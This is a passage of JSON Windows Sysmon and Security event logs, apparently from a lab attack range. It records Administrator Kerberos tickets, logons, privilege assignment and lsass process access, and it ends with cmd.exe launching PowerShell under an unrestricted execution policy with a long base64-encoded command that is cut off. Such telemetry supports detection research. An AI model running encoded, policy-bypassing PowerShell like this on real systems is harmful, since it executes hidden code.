11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5140,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.869\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.869","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221991,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221992,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{62235DC2-579D-7E69-19EA-92D0C5BA5459}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{62235DC2-579D-7E69-19EA-92D0C5BA5459}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221993,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{62235DC2-579D-7E69-19EA-92D0C5BA5459}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{62235DC2-579D-7E69-19EA-92D0C5BA5459}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221994,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8031F\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{62235DC2-579D-7E69-19EA-92D0C5BA5459}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x8031f","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{62235DC2-579D-7E69-19EA-92D0C5BA5459}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221995,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8031F\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8031f","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5141,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5142,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5143,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.888\r\nProcessGuid: {90617006-416D-5F2D-0000-001050030800}\r\nProcessId: 3468\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAU